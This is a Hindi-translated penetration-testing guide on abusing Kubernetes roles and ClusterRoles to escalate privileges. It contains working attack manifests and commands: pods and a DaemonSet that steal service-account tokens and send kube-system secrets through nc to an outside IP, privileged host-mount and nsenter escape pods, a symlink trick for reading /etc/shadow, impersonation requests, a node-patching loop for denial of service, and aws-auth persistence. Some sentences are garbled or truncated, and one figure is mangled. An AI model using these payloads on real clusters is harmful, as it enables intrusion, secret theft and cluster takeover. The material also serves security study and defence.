Abusing Roles/ClusterRoles in Kubernetes

हैकट्रिक्स का समर्थन करें और लाभ प्राप्त करें!

यहां आप कुछ संभावित खतरनाक रोल और क्लस्टररोल कॉन्फ़िगरेशन ढूंढ सकते हैं। ध्यान दें कि आप kubectl api-resources के साथ सभी समर्थित संसाधन प्राप्त कर सकते हैं

विशेषाधिकार उन्नयन

कुबरनेटीज़ में विभिन्न विशेषाधिकारों के साथ क्लस्टर के भीतर अलग प्रिंसिपल तक पहुंच प्राप्त करने की कला के रूप में संदर्भित करते हुए (कुबरनेटीज़ क्लस्टर के भीतर या बाहरी क्लाउड में) कुबरनेटीज़ में मूल रूप से 4 मुख्य तकनीकें हैं जिनके माध्यम से विशेषाधिकारों को उन्नयन किया जा सकता है:

  • अन्य उपयोगकर्ता/समूह/सेवा खातों का अनुकरण करने की क्षमता, जिनमें कुबरनेटीज़ क्लस्टर के भीतर या बाहरी क्लाउड में बेहतर विशेषाधिकार हो सकते हैं

  • पॉड बनाने/पैच करने/एक्ज़ेक्यूट करने की क्षमता, जहां आपको कुबरनेटीज़ क्लस्टर के भीतर या बाहरी क्लाउड में बेहतर विशेषाधिकार वाले सेवा खाते ढूंढ़ने या संलग्न करने की क्षमता हो सकती है

  • सीक्रेट पढ़ने की क्षमता, क्योंकि सेवा खातों के टोकन सीक्रेट के रूप में संग्रहित होते हैं

  • कंटेनर से नोड़े में बचने की क्षमता, जहां आप नोड़े में चल रहे कंटेनरों के सभी सीक्रेट, नोड़ के प्रमाणपत्र, और नोड़ की अनुमतियों की चोरी कर सकते हैं (यदि कोई हो)

  • एक पॉड में पोर्ट-फ़ोरवर्ड चलाने की क्षमता, क्योंकि आप उस पॉड के भीतर दिलचस्प संसाधनों तक पहुंच सकते हैं।

किसी भी संसाधन या क्रिया का उपयोग करें (वाइल्डकार्ड)

यह विशेषाधिकार किसी भी संसाधन के साथ किसी भी क्रिया का उपयोग करने की सुविधा प्रदान करता है। यह उपयोगकर्ता को सबसे महत्वपूर्ण विशेषाधिकार प्रदान करता है, विशेषकर यदि यह विशेषाधिकार एक "क्लस्टररोल" है तो उपयोगकर्ता को किसी भी नेमस्पेस के संसाधनों तक पहुंच मिलती है और उस अनुमति के साथ क्लस्टर के मालिक बनता है।

apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
name: api-resource-verbs-all
rules:
rules:
- apiGroups: ["*"]
resources: ["*"]
verbs: ["*"]

किसी भी संसाधन तक पहुंच

एक उपयोगकर्ता को किसी भी संसाधन तक पहुंच देना बहुत जोखिमपूर्ण हो सकता है। लेकिन, कौन से क्रियाएँ इन संसाधनों तक पहुंच देती हैं? यहां कुछ खतरनाक RBAC अनुमतियाँ हैं जो पूरे क्लस्टर को क्षति पहुंचा सकती हैं:

  • resources: ["*"] verbs: ["create"] - यह अधिकार क्लस्टर में किसी भी संसाधन, जैसे कि पॉड्स, रोल्स आदि को बना सकता है। एक हमलावर्धी इसे अधिकारों को बढ़ाने के लिए दुरुपयोग कर सकता है। इसका एक उदाहरण “पॉड्स निर्माण” अनुभाग में मिल सकता है।

  • resources: ["*"] verbs: ["list"] - किसी भी संसाधन की सूची बनाने की क्षमता का उपयोग अन्य उपयोगकर्ताओं के सीक्रेट्स लीक करने के लिए किया जा सकता है और अधिकारों को बढ़ाना आसान बना सकता है। इसका एक उदाहरण “सीक्रेट्स की सूचीबद्धि” अनुभाग में स्थित है।

  • resources: ["*"] verbs: ["get"] - इस अधिकार का उपयोग अन्य सेवा खातों से सीक्रेट्स प्राप्त करने के लिए किया जा सकता है।

apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
name: api-resource-verbs-all
rules:
rules:
- apiGroups: ["*"]
resources: ["*"]
verbs: ["create", "list", "get"]

पॉड बनाएं - टोकन चोरी

एक हमलावर "kube-system" नेमस्पेस में पॉड बनाने की अनुमति वाला एक अटैकर क्रिप्टोमाइनिंग कंटेनर बना सकता है। इसके अलावा, यदि किसी सेवा खाते में विशेषाधिकार संग्रहित अनुमतियाँ हैं, तो उस सेवा के साथ पॉड चलाकर अनुमतियों का दुरुपयोग किया जा सकता है

यहां हमारे पास एक डिफ़ॉल्ट विशेषाधिकार वाला खाता है जिसका नाम bootstrap-signer है और इसकी अनुमति है कि वह सभी सीक्रेट्स को सूचीबद्ध कर सके।

हमलावर एक दुष्ट पॉड बना सकता है जो विशेषाधिकारित सेवा का उपयोग करेगा। फिर, सेवा टोकन का दुरुपयोग करके, यह सीक्रेट्स को बाहर ले जाएगा:

apiVersion: v1
kind: Pod
metadata:
name: alpine
namespace: kube-system
spec:
containers:
- name: alpine
image: alpine
command: ["/bin/sh"]
args: ["-c", 'apk update && apk add curl --no-cache; cat /run/secrets/kubernetes.io/serviceaccount/token | { read TOKEN; curl -k -v -H "Authorization: Bearer $TOKEN" -H "Content-Type: application/json" https://192.168.154.228:8443/api/v1/namespaces/kube-system/secrets; } | nc -nv 192.168.154.228 6666; sleep 100000']
serviceAccountName: bootstrap-signer
automountServiceAccountToken: true
hostNetwork: true

पिछली छवि में ध्यान दें कि bootstrap-signer सेवा serviceAccountname_ में कैसे उपयोग किया जाता है।

तो बस एक दुष्ट पॉड बनाएं और पोर्ट 6666 में रहस्यों की उम्मीद करें:

पॉड बनाएं और छूटें

निम्नलिखित परिभाषा एक कंटेनर को सभी विशेषाधिकार प्रदान करती है:

  • विशेषाधिकार पहुंच (सुरक्षा सुरक्षा निष्क्रिय करना और क्षमताओं को सेट करना)

  • hostIPC और hostPid नेमस्पेस को निष्क्रिय करें जो विशेषाधिकारों को बढ़ाने में मदद कर सकते हैं

  • hostNetwork नेमस्पेस को निष्क्रिय करें जो नोड क्लाउड विशेषाधिकारों और नेटवर्कों के लिए बेहतर पहुंच प्रदान करता है

  • कंटेनर के अंदर माउंट होस्ट /

super_privs.yaml
apiVersion: v1
kind: Pod
metadata:
name: ubuntu
labels:
app: ubuntu
spec:
# Uncomment and specify a specific node you want to debug
# nodeName: <insert-node-name-here>
containers:
- image: ubuntu
command:
- "sleep"
- "3600" # adjust this as needed -- use only as long as you need
imagePullPolicy: IfNotPresent
name: ubuntu
securityContext:
allowPrivilegeEscalation: true
privileged: true
#capabilities:
#  add: ["NET_ADMIN", "SYS_ADMIN"] # add the capabilities you need https://man7.org/linux/man-pages/man7/capabilities.7.html
runAsUser: 0 # run as root (or any other user)
volumeMounts:
- mountPath: /host
name: host-volume
restartPolicy: Never # we want to be intentional about running this pod
hostIPC: true # Use the host's ipc namespace https://www.man7.org/linux/man-pages/man7/ipc_namespaces.7.html
hostNetwork: true # Use the host's network namespace https://www.man7.org/linux/man-pages/man7/network_namespaces.7.html
hostPID: true # Use the host's pid namespace https://man7.org/linux/man-pages/man7/pid_namespaces.7.htmlpe_
volumes:
- name: host-volume
hostPath:
path: /

पॉड बनाएँ:

kubectl --token $token create -f mount_root.yaml

इस ट्वीट से एक-लाइनर और कुछ जोड़ों के साथ:

kubectl run r00t --restart=Never -ti --rm --image lol --overrides '{"spec":{"hostPID": true, "containers":[{"name":"1","image":"alpine","command":["nsenter","--mount=/proc/1/ns/mnt","--","/bin/bash"],"stdin": true,"tty":true,"imagePullPolicy":"IfNotPresent","securityContext":{"privileged":true}}]}}'

अब जब आप नोड से बाहर निकल सकते हैं, तो पोस्ट-एक्सप्लोइटेशन तकनीकों की जांच करें:

छिपाव

शायद आप छिपाव करना चाहेंगे, निम्नलिखित पृष्ठों में आप देख सकते हैं कि आप किसे एक्सेस कर सकते हैं अगर आप केवल पिछले टेम्पलेट में उल्लिखित कुछ विशेषाधिकारों को सक्षम करके एक पॉड बनाते हैं:

  • विशेषाधिकार + hostPID

  • केवल विशेषाधिकार

  • hostPath

  • hostPID

  • hostNetwork

  • hostIPC

आप https://github.com/BishopFox/badPods में पिछले विशेषाधिकार वाले पॉड कॉन्फ़िगरेशन के उदाहरण ढूंढ सकते हैं

पॉड बनाएं - क्लाउड में जाएं

यदि आप एक पॉड बना सकते हैं (और वैकल्पिक रूप से एक सर्विस अकाउंट) तो आप क्लाउड माहौल में विशेषाधिकार प्राप्त कर सकते हैं एक पॉड या सर्विस अकाउंट को क्लाउड रोल देकर और फिर उसे एक्सेस करके। इसके अलावा, यदि आप होस्ट नेटवर्क नेमस्पेस के साथ एक पॉड बना सकते हैं तो आप नोड इंस्टेंस की IAM रोल को चुरा सकते हैं।

अधिक जानकारी के लिए देखें:

pagePod Escape Privileges

डिप्लॉयमेंट, डेमनसेट्स, स्थायीसेट्स, रिप्लिकेशनकंट्रोलर्स, रिप्लिकासेट्स, जॉब्स और क्रॉनजॉब्स बनाएं/पैच करें

डिप्लॉयमेंट, डेमनसेट्स, स्थायीसेट्स, रिप्लिकेशनकंट्रोलर्स, रिप्लिकासेट्स, जॉब्स और क्रॉनजॉब्स सभी विशेषाधिकार हैं जो क्लस्टर में विभिन्न कार्यों का निर्माण करने की अनुमति देते हैं। इसके अलावा, इन सभी का उपयोग करके पॉड विकसित करना और पॉड बनाना संभव है। इसलिए इन्हें पिछले उदाहरण की तरह विशेषाधिकारों को बढ़ाने के लिए दुरुपयोग किया जा सकता है।

मान लें कि हमें एक डेमनसेट बनाने की अनुमति है और हम निम्नलिखित YAML फ़ाइल बनाते हैं। इस YAML फ़ाइल को "पॉड बनाएं" अनुभाग में हमने उल्लिखित कदमों को करने के लिए कॉन्फ़िगर किया गया है।

apiVersion: apps/v1
kind: DaemonSet
metadata:
name: alpine
namespace: kube-system
spec:
selector:
matchLabels:
name: alpine
template:
metadata:
labels:
name: alpine
spec:
serviceAccountName: bootstrap-signer
automountServiceAccountToken: true
hostNetwork: true
containers:
- name: alpine
image: alpine
command: ["/bin/sh"]
args: ["-c", 'apk update && apk add curl --no-cache; cat /run/secrets/kubernetes.io/serviceaccount/token | { read TOKEN; curl -k -v -H "Authorization: Bearer $TOKEN" -H "Content-Type: application/json" https://192.168.154.228:8443/api/v1/namespaces/kube-system/secrets; } | nc -nv 192.168.154.228 6666; sleep 100000']
volumeMounts:
- mountPath: /root
name: mount-node-root
volumes:
- name: mount-node-root
hostPath:
path: /

यहां लाइन 6 में आप "spec" ऑब्जेक्ट और इसके बच्चे ऑब्जेक्ट जैसे "template" पाएंगे। ये ऑब्जेक्ट हमारे कार्य को पूरा करने के लिए कॉन्फ़िगरेशन रखते हैं। एक और बात ध्यान देने योग्य है "serviceAccountName" लाइन 15 में और "containers" ऑब्जेक्ट लाइन 18 में। यह वह हिस्सा है जो हमारे दुष्ट container को बनाने से संबंधित है।

Kubernetes API दस्तावेज़ीकरण इंडिकेट करता है कि "PodTemplateSpec" एंडपॉइंट में container बनाने का विकल्प होता है। और, जैसा कि आप देख सकते हैं: deployment, daemonsets, statefulsets, replicationcontrollers, replicasets, jobs और cronjobs सभी pods बनाने के लिए उपयोग किए जा सकते हैं:

इसलिए, क्लस्टर में विशेषाधिकार बनाने या अद्यतन करने की अनुमति भी विशेषाधिकार बढ़ाने के लिए दुरुपयोग किया जा सकता है।

पॉड्स Exec

pods/exec कुबरनेटेस में एक संसाधन है जिसका उपयोग पॉड के अंदर शैल में कमांड चलाने के लिए किया जाता है। यह विशेषाधिकार प्रशासकों के लिए है जो कंटेनरों तक पहुंच प्राप्त करना और कमांड चलाना चाहते हैं। यह कंटेनर के लिए एक SSH सत्र बनाने की तरह है।

यदि हमारे पास यह विशेषाधिकार है, तो हमें वास्तव में सभी पॉड्स पर नियंत्रण लेने की क्षमता मिलती है। इसे करने के लिए, हमें निम्नलिखित कमांड का उपयोग करना होगा:

kubectl exec -it <POD_NAME> -n <NAMESPACE> -- sh

नोट करें कि जैसे आप किसी भी पॉड में प्रवेश कर सकते हैं, आप पॉड निर्माण शोषण में किया गया तरीका अपनाकर अन्य पॉड के टोकन का दुरुपयोग कर सकते हैं ताकि आप विशेषाधिकारों को बढ़ाने का प्रयास कर सकें।

पोर्ट-फ़ॉरवर्ड

यह अनुमति एक स्पष्ट पॉड में एक स्थानीय पोर्ट को एक पोर्ट पर आगे भेजने की अनुमति देती है। इसका उद्देश्य पॉड के अंदर चल रहे एप्लिकेशन को आसानी से डीबग करने के लिए है, लेकिन एक हमलावर इसे दुरुपयोग करके पॉड के अंदर दिलचस्प (जैसे डीबी) या भ्रष्ट (वेब?) एप्लिकेशन तक पहुंच प्राप्त कर सकता है:

kubectl port-forward pod/mypod 5000:5000

होस्ट लिखने योग्य /var/log/ से बचना

जैसा कि इस शोध में दिखाया गया है, यदि आपको पहुंच होती है या आपको एक पॉड में होस्ट /var/log/ निर्धारित किया जा सकता है, तो आप कंटेनर से बच सकते हैं। यह मुख्य रूप से इसलिए है क्योंकि जब Kube-API कंटेनर की लॉग्स को प्राप्त करने का प्रयास करता है ( kubectl logs <पॉड> का उपयोग करके), तो यह Kubelet सेवा के /logs/ एंडपॉइंट का उपयोग करके पॉड के 0.log फ़ाइल का अनुरोध करता है। Kubelet सेवा /logs/ एंडपॉइंट को उदाहरणार्थ कंटेनर के /var/log फ़ाइल सिस्टम को उदाहरणार्थ प्रकट करती है।

इसलिए, कंटेनर के /var/log/ फ़ोल्डर में लिखने के लिए पहुंच वाले एक हमलावर इस व्यवहार का दुरुपयोग 2 तरीकों से कर सकता है:

  • अपने कंटेनर की 0.log फ़ाइल (आमतौर पर /var/logs/pods/namespace_pod_uid/container/0.log में स्थित) को /etc/shadow की ओर संकेत करने वाले सिंबलिंक बनाना। फिर, आप इसे करके होस्ट शैडो फ़ाइल को निकाल सकेंगे:

kubectl logs escaper
failed to get parse function: unsupported log format: "root::::::::\n"
kubectl logs escaper --tail=2
failed to get parse function: unsupported log format: "systemd-resolve:*:::::::\n"
# Keep incrementing tail to exfiltrate the whole file
  • यदि हमलावर किसी प्रमुख कोंट्रोल करता है जिसमें nodes/log को पढ़ने की अनुमति होती है, तो वह सीधे /host-mounted/var/log/sym में / के लिए एक सिंबलिंक बना सकता है और जब वह https://<gateway>:10250/logs/sym/ तक पहुंचता है तो वह मेजबान की रूट फ़ाइलसिस्टम को सूचीबद्ध करेगा (सिंबलिंक बदलने से फ़ाइलों तक पहुंच प्रदान की जा सकती है)।

curl -k -H 'Authorization: Bearer eyJhbGciOiJSUzI1NiIsImtpZCI6Im[...]' 'https://172.17.0.1:10250/logs/sym/'
<a href="bin">bin</a>
<a href="data/">data/</a>
<a href="dev/">dev/</a>
<a href="etc/">etc/</a>
<a href="home/">home/</a>
<a href="init">init</a>
<a href="lib">lib</a>
[...]

एक प्रयोगशाला और स्वचालित शोध यहां मिल सकता है https://blog.aquasec.com/kubernetes-security-pod-escape-log-mounts

readOnly सुरक्षा को छोड़ना

यदि आपको भाग्यशाली होने का सौभाग्य हो और उच्च प्रभावी क्षमता CAP_SYS_ADMIN उपलब्ध हो, तो आप सीधे फ़ोल्डर को rw के रूप में रीमाउंट कर सकते हैं:

mount -o rw,remount /hostlogs/

होस्टपैथ के readOnly सुरक्षा को अनदेखा करना

इस रिसर्च में कहा गया है कि सुरक्षा को अनदेखा करना संभव है:

allowedHostPaths:
- pathPrefix: "/foo"
readOnly: true

यह पिछले तरीकों की तरह बचाव करने के लिए था, जहां होस्टपथ माउंट का उपयोग किया जाता है, इसके बजाय कंटेनर में एक होस्ट फ़ोल्डर को लिखने योग्य पहुँच के साथ माउंट करने के लिए PersistentVolume और PersistentVolumeClaim का उपयोग करें:

apiVersion: v1
kind: PersistentVolume
metadata:
name: task-pv-volume-vol
labels:
type: local
spec:
storageClassName: manual
capacity:
storage: 10Gi
accessModes:
- ReadWriteOnce
hostPath:
path: "/var/log"
---
apiVersion: v1
kind: PersistentVolumeClaim
metadata:
name: task-pv-claim-vol
spec:
storageClassName: manual
accessModes:
- ReadWriteOnce
resources:
requests:
storage: 3Gi
---
apiVersion: v1
kind: Pod
metadata:
name: task-pv-pod
spec:
volumes:
- name: task-pv-storage-vol
persistentVolumeClaim:
claimName: task-pv-claim-vol
containers:
- name: task-pv-container
image: ubuntu:latest
command: [ "sh", "-c", "sleep 1h" ]
volumeMounts:
- mountPath: "/hostlogs"
name: task-pv-storage-vol

विशेषाधिकार वाले खातों की अनुकरण करना

उपयोगकर्ता अनुकरण विशेषाधिकार के साथ, एक हमलावर्ती एक विशेषाधिकार वाले खाते की अनुकरण कर सकता है।

इस उदाहरण में, सेवा खाता sa-imper को एक ClusterRole के साथ बाइंड किया गया है जिसमें नियम हैं जो इसे समूहों और उपयोगकर्ताओं की अनुकरण करने की अनुमति देते हैं।

--as=null --as-group=system:master गुणों के साथ सभी सीक्रेट्स को सूचीबद्ध करना संभव है:

एपीआई आराम्भिक अंतबिंदु के माध्यम से भी यही कार्रवाई करना संभव है:

curl -k -v -XGET -H "Authorization: Bearer <JWT TOKEN (of the impersonator)>" \
-H "Impersonate-Group: system:masters"\
-H "Impersonate-User: null" \
-H "Accept: application/json" \
https://<master_ip>:<port>/api/v1/namespaces/kube-system/secrets/

सीक्रेट्स की सूची बनाना

सीक्रेट्स की सूची बनाने की अनुमति क्लस्टर में रखने के लिए एक मजबूत क्षमता है। सीक्रेट्स की सूची बनाने की अनुमति वाले उपयोगकर्ता को संभावित रूप से क्लस्टर में सभी सीक्रेट्स को देखने की क्षमता होती है - इसमें एडमिन कुंजी भी शामिल हो सकती है। सीक्रेट कुंजी एक बेस64 में एनकोड किए गए JWT टोकन होती है।

क्लस्टर में _सीक्रेट्स की सूची बनाने का उपयोग करने वाले को एक्सेस मिलता है_ तो एक हमलावर "kube-system" नेमस्पेस में सभी सीक्रेट्स प्राप्त करने के लिए निम्नलिखित कर्ल कमांड का उपयोग कर सकता है:

curl -v -H "Authorization: Bearer <jwt_token>" https://<master_ip>:<port>/api/v1/namespaces/kube-system/secrets/

एक सीक्रेट पढ़ना - टोकन आईडी को ब्रूट-फोर्स करना

एक हमलावर जिसने एक सीक्रेट को पढ़ने की अनुमति वाला टोकन ढूंढ़ लिया है, उसे सीक्रेट को पूर्ण नाम जाने बिना इस अनुमति का उपयोग नहीं कर सकता है। यह अनुमति ऊपर वर्णित सीक्रेट्स की सूची अनुमति से अलग होती है।

हालांकि हमलावर को सीक्रेट का नाम नहीं पता है, इसमें शामिल किए जा सकते हैं डिफ़ॉल्ट सर्विस अकाउंट्स होते हैं।

प्रत्येक सर्विस अकाउंट के साथ एक संबंधित सीक्रेट होता है जिसमें एक स्थिर (बदलने वाला नहीं) प्रीफ़िक्स और एक पांच-वर्णात्मक तार टोकन का पोस्टफ़िक्स होता है।

यादृच्छिक टोकन संरचना पांच-वर्णात्मक तार से बनी होती है जो अक्षरमाला (निचले अक्षर और अंक) वाले अक्षरों से बनी होती है। लेकिन इसमें सभी अक्षर और अंक शामिल नहीं होते हैं।

स्रोत कोड की देखें यहां, इससे पता चलता है कि टोकन केवल 27 अक्षरों "bcdfghjklmnpqrstvwxz2456789" से उत्पन्न होता है और नहीं 36 (a-z और 0-9)

इसका मतलब है कि एक टोकन के लिए 275 = 14,348,907 संभावनाएं होती हैं।

एक हमलावर टोकन आईडी को अनुमान लगाने के लिए ब्रूट-फोर्स हमला चला सकता है जिसमें कुछ घंटों का समय लगेगा। डिफ़ॉल्ट संवेदनशील सर्विस अकाउंट्स से सीक्रेट प्राप्त करने में सफल होने से उसे अधिकारों का उन्नयन करने की अनुमति मिलेगी।

सर्टिफिकेट साइनिंग अनुरोध

यदि आपके पास संसाधन certificatesigningrequests में create क्रिया है (या कम से कम certificatesigningrequests/nodeClient में), तो आप एक नए नोड के लिए एक नया CeSR बना सकते हैं

दस्तावेज़ीकरण के अनुसार, इन अनुरोधों को स्वचालित रूप से स्वीकृत किया जा सकता है, इसलिए इस मामले में आपको अतिरिक्त अनुमतियों की आवश्यकता नहीं होती। यदि नहीं, तो आपको अनुरोध को स्वीकृत करने की क्षमता होनी चाहिए, जिसका मतलब है certificatesigningrequests/approval में अद्यतन और signers में approve करना होगा और इसमें resourceName <signerNameDomain>/<signerNamePath> या <signerNameDomain>/* होगा।

सभी आवश्यक अनुमतियों के साथ एक रोल का उदाहरण है:

apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
name: csr-approver
rules:
- apiGroups:
- certificates.k8s.io
resources:
- certificatesigningrequests
verbs:
- get
- list
- watch
- create
- apiGroups:
- certificates.k8s.io
resources:
- certificatesigningrequests/approval
verbs:
- update
- apiGroups:
- certificates.k8s.io
resources:
- signers
resourceNames:
- example.com/my-signer-name # example.com/* can be used to authorize for all signers in the 'example.com' domain
verbs:
- approve

तो, नए नोड CSR को मंजूरी मिलने के साथ, आप नोड की विशेष अनुमतियों का दुरुपयोग करके रहस्यों को चुरा सकते हैं और विशेषाधिकारों को बढ़ा सकते हैं।

इस पोस्ट और इस पोस्ट में GKE K8s TLS Bootstrap कॉन्फ़िगरेशन को स्वचालित साइनिंग के साथ कॉन्फ़िगर किया जाता है और इसे दुरुपयोग किया जाता है ताकि एक नए K8s नोड के क्रेडेंशियल्स उत्पन्न किए जा सकें और फिर उनका दुरुपयोग करके विशेषाधिकारों को बढ़ा सकें रहस्यों को चुरा सकें। यदि आपके पास उल्लिखित विशेषाधिकार हैं तो आप एक ही चीज़ कर सकते हैं। ध्यान दें कि पहला उदाहरण एक नए नोड को सीमित करने वाली त्रुटि को अनदेखा करता है जो नई नोड को उस पर माउंट किए गए कंटेनरों में रहस्यों तक पहुंचने से रोकती है क्योंकि नोड केवल उस पर माउंट किए गए कंटेनरों के रहस्यों तक पहुंच सकता है।

इसे दुरुपयोग करने का तरीका बस यह है कि आप रुचिकर रहस्यों के साथ माउंट किए गए कंटेनर के नोड नाम के लिए नोड क्रेडेंशियल्स बनाएं (लेकिन पहले पोस्ट में इसे कैसे करना है वह जांचें):

"/O=system:nodes/CN=system:node:gke-cluster19-default-pool-6c73b1-8cj1"

AWS EKS aws-auth configmaps

उन प्रिंसिपल्स को जो EKS (AWS में होना चाहिए) क्लस्टर्स पर kube-system नेमस्पेस में configmaps को संशोधित कर सकते हैं, वे aws-auth configmap को अधिलेखित करके क्लस्टर व्यवस्थापक विशेषाधिकार प्राप्त कर सकते हैं। आवश्यक क्रियाएं update और patch हैं, या create अगर configmap नहीं बनाया गया था:

# Check if config map exists
get configmap aws-auth -n kube-system -o yaml

## Yaml example
apiVersion: v1
kind: ConfigMap
metadata:
name: aws-auth
namespace: kube-system
data:
mapRoles: |
- rolearn: arn:aws:iam::123456789098:role/SomeRoleTestName
username: system:node:{{EC2PrivateDNSName}}
groups:
- system:masters

# Create donfig map is doesn't exist
## Using kubectl and the previous yaml
kubectl apply -f /tmp/aws-auth.yaml
## Using eksctl
eksctl create iamidentitymapping --cluster Testing --region us-east-1 --arn arn:aws:iam::123456789098:role/SomeRoleTestName --group "system:masters" --no-duplicate-arns

# Modify it
kubectl edit -n kube-system configmap/aws-auth
## You can modify it to even give access to users from other accounts
data:
mapRoles: |
- rolearn: arn:aws:iam::123456789098:role/SomeRoleTestName
username: system:node:{{EC2PrivateDNSName}}
groups:
- system:masters
mapUsers: |
- userarn: arn:aws:iam::098765432123:user/SomeUserTestName
username: admin
groups:
- system:masters

आप aws-auth का उपयोग कर सकते हैं ताकि आप दृढ़ता के लिए अन्य खातों से उपयोगकर्ताओं को पहुंच दे सकें।

हालांकि, aws --profile other_account eks update-kubeconfig --name <cluster-name> एक अलग खाते से काम नहीं करता है। लेकिन वास्तव में aws --profile other_account eks get-token --cluster-name arn:aws:eks:us-east-1:123456789098:cluster/Testing काम करता है अगर आप क्लस्टर के नाम के बजाय क्लस्टर के ARN को डालें। kubectl को काम करने के लिए, सुनिश्चित करें कि आपने पीड़ित का kubeconfig कॉन्फ़िगर किया है और aws exec args में --profile other_account_role जोड़ें ताकि kubectl टोकन प्राप्त करने और AWS से संपर्क करने के लिए अन्य खाते के प्रोफ़ाइल का उपयोग करें।

GKE में उन्नतता

GCP प्रिंसिपल्स को K8s अनुमतियों को देने के लिए 2 तरीके हैं। किसी भी स्थिति में प्रिंसिपल को अनुमति container.clusters.get भी होनी चाहिए ताकि वह क्लस्टर तक पहुंच के लिए प्रमाणपत्र इकट्ठा कर सके, या आपको अपना खुद का kubectl कॉन्फ़िग फ़ाइल बनाना होगा (अगले लिंक का पालन करें)।

K8s api endpoint से बातचीत करते समय, GCP प्रमाणिका टोकन भेजा जाएगा। फिर, GCP, K8s api endpoint के माध्यम से, पहले जांचेगा कि प्रिंसिपल (ईमेल द्वारा) क्लस्टर के अंदर कोई पहुंच रखता है या नहीं, फिर यह जांचेगा कि उसके पास GCP IAM के माध्यम से कोई पहुंच है या नहीं। यदि इनमें से कोई भी सत्य है, तो उसे जवाब दिया जाएगा। यदि नहीं, तो एक त्रुटि दी जाएगी जो सुझाव देगी कि GCP IAM के माध्यम से अनुमतियां दें

फिर, पहला तरीका है GCP IAM का उपयोग करना, K8s अनुमतियों के पास उनकी समकक्ष GCP IAM अनुमतियाँ होती हैं, और यदि प्रिंसिपल के पास यह है, तो उसे उपयोग कर सकता है।

pageGCP - Container Privesc

दूसरा तरीका है क्लस्टर के अंदर K8s अनुमतियाँ निर्धारित करना और प्रिंसिपल को उसके ईमेल (GCP सेवा खाते समेत) द्वारा पहचानने के लिए।

सेवा खातों टोकन बनाएँ

TokenRequests (serviceaccounts/token) बना सकने वाले प्रिंसिपल्स व्यवस्थापक-समकक्ष SAs के लिए टोकन जारी कर सकते हैं (यहां से जानकारी मिली है यहां)।

ephemeralcontainers

pods/ephemeralcontainers को update या patch कर सकने वाले प्रिंसिपल्स दूसरे पॉड पर कोड निष्पादन कर सकते हैं, और संभवतः एक विशेषाधिकृत securityContext के साथ एक ephemeral container जोड़कर अपने नोड से बाहर निकल सकते हैं।

ValidatingWebhookConfigurations या MutatingWebhookConfigurations

validatingwebhookconfigurations या mutatingwebhookconfigurations पर create, update या patch के किसी भी verb वाले प्रिंसिपल्स को संभवतः ऐसी webhookconfigurations में से एक बना सकते हैं जिससे वे उन्नतता को बढ़ा सकते हैं

एक mutatingwebhookconfigurations उदाहरण के लिए इस पोस्ट के इस सेक्शन की जांच करें

उन्नतता

जैसा कि आप अगले सेक्शन में पढ़ सकते हैं: अंतर्निहित उन्नतता रोकथाम, एक प्रिंसिपल को नई अनुमतियों वाले नए रोल या क्लस्टररोल अपडेट/बनाने के लिए उन्नतता नहीं मिलती है जब तक उसके पास उन नई अनुमतियों की अनुमति नहीं होती है। केवल यदि उसके पास escalate verb होता है roles या clusterroles पर। तब वह नए रोल, क्लस्टररोल बना सकता है जिनमें उसके पास से अधिक अनुमतियाँ होती हैं।

नोड प्रॉक्सी

nodes/proxy subresource तक पहुंच रखने वाले प्रिंसिपल्स Kubelet API के माध्यम से पॉड पर कोड निष्पादित कर सकते हैं (इसके अनुसार यहां)। इस पेज में Kubelet प्रमाणीकरण के बारे में अधिक जानकारी:

pageKubelet Authentication & Authorization

यहां एक उदाहरण है कि कैसे एक Kubelet API के लिए अधिकृत बातचीत करके RCE प्राप्त करें

पॉड हटाएं + अनुसूचीत नोड

प्रिंसिपल्स जो पॉड को **हट

patch_node_capacity(){
curl -s -X PATCH 127.0.0.1:8001/api/v1/nodes/$1/status -H "Content-Type: json-patch+json" -d '[{"op": "replace", "path":"/status/allocatable/pods", "value": "0"}]'
}

while true; do patch_node_capacity <id_other_node>; done &
#Launch previous line with all the nodes you need to attack

kubectl delete pods -n kube-system <privileged_pod_name>

सेवाओं की स्थिति (CVE-2020-8554)

सेवाओं/स्थिति को संशोधित कर सकने वाले प्रमुख व्यक्ति अनिर्धारित CVE-2020-8554 का शोध उपयोग करके MiTM हमलों को क्लस्टर के खिलाफ शुरू कर सकते हैं। CVE-2020-8554 के लिए अधिकांश सुरक्षा उपाय केवल बाहरी IP सेवाओं को रोकते हैं (इसके अनुसार यह)।

नोड और पॉड की स्थिति

नोड/स्थिति या पॉड/स्थिति पर अद्यतन या पैच अनुमतियों वाले प्रमुख व्यक्ति, लेबलों को संशोधित करके नियोजन संबंधित प्रतिबंधों को प्रभावित कर सकते हैं।

अंतर्निहित विशेषाधिकार वृद्धि निवारण

हालांकि जोखिमपूर्ण अनुमतियाँ हो सकती हैं, कुबरनेटीज़ अनुमतियों को विशेषाधिकार वृद्धि के संभावित प्रकारों से रोकने के लिए अच्छा काम कर रहा है।

कुबरनेटीज़ में एक अंतर्निहित तंत्र है जो इसके लिए है:

RBAC API उपयोग करने के बिना भी उपयोगकर्ताओं को विशेषाधिकार वृद्धि करने से रोकता है रोल या रोल बाइंडिंग संपादित करके। क्योंकि यह API स्तर पर प्रयोज्य होता है, इसका उपयोग RBAC अधिकारी का न होने पर भी होता है।

एक उपयोगकर्ता केवल तभी एक रोल बना/अद्यतन कर सकता है अगर उसके पास पहले से ही उस रोल में शामिल सभी अनुमतियाँ होती हैं, रोल के समान स्तर पर (एक क्लस्टर रोल के लिए क्लस्टर-वाइड, एक रोल के लिए एक ही नेमस्पेस या क्लस्टर-वाइड)

पिछले नियम के लिए एक अपवाद है। यदि किसी प्रमुख व्यक्ति के पास roles या clusterroles पर escalate क्रिया होती है तो वह अपने आप को या एक अलग SA को अनुमतियों का वृद्धि कर सकता है, चाहे उसके पास उसे अनुमतियाँ हो या न हो।

चलो इस निवारण के लिए एक उदाहरण देखते हैं।

एक सेवा खाता जिसका नाम sa7 है, एक रोलबाइंडिंग edit-role-rolebinding में है। इस रोलबाइंडिंग ऑब्जेक्ट में एक रोल है जिसका नाम edit-role है जिसमें पूर्ण अनुमति नियम हैं। सिद्धांत रूप में, इसका अर्थ है कि सेवा खाता default नेमस्पेस में किसी भी रोल को संपादित कर सकता है।

